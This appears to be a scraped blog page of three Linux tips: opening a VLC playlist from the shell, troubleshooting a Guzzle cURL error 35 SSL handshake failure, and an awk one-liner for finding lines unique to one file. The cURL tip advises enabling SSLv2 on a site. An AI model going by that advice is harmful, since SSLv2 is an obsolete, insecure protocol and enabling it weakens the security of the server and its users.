Hi, by using below command you can made VLC play the playlist, here in my case the PL tbbt-s6.xspf is placed on Desktop. Its actually The Big Bang Theory (TBBT)

[email protected]:~$

/usr/bin/vlc --started-from-file /home/navdeep/Desktop/tbbt-s6.xspf

 

VLC media player 2.2.2 Weatherwax (revision 2.2.2-0-g6259d80)
[0000000002406148] core libvlc: Running vlc with the default interface. Use ‘cvlc’ to use vlc without interface.

Categories
Uncategorized

[Solved] Fatal error: Uncaught exception ‘GuzzleHttp\Exception\ConnectException – CURLE_SSL_CONNECT_ERROR 35

Error:-
Fatal error: Uncaught exception ‘GuzzleHttp\Exception\ConnectException’ with message ‘cURL error 35: SSL connect error (see http://curl.haxx.se/libcurl/c/libcurl-errors.html)’

Means:-

CURLE_SSL_CONNECT_ERROR (35)

A problem occurred somewhere in the SSL/TLS handshake. You really want the error buffer and read the message there as it pinpoints the problem slightly more. Could be certificates (file formats, paths, permissions), passwords, and others.

Solutions:-

1. Check if your site supports SSLV2, if not enable it

[email protected]:~$ curl --sslv2 https://the-d2.com
curl: (35) GnuTLS does not support SSLv2

 

2. Check if your site’s SSL chain is complete and it have 4 certs in chain

https://www.sslshopper.com/ssl-checker.html#hostname=the-d2.com

Categories
Uncategorized

Extracting unique values between 2 sets/files

Working in linux/shell env, how can I accomplish the following:

text file 1 contains:

1
2
3
4
5

text file 2 contains:

6
7
1
2
3
4

Answer:-
# awk 'FNR==NR {a[$0]++; next} !a[$0]' file1 file2
6
7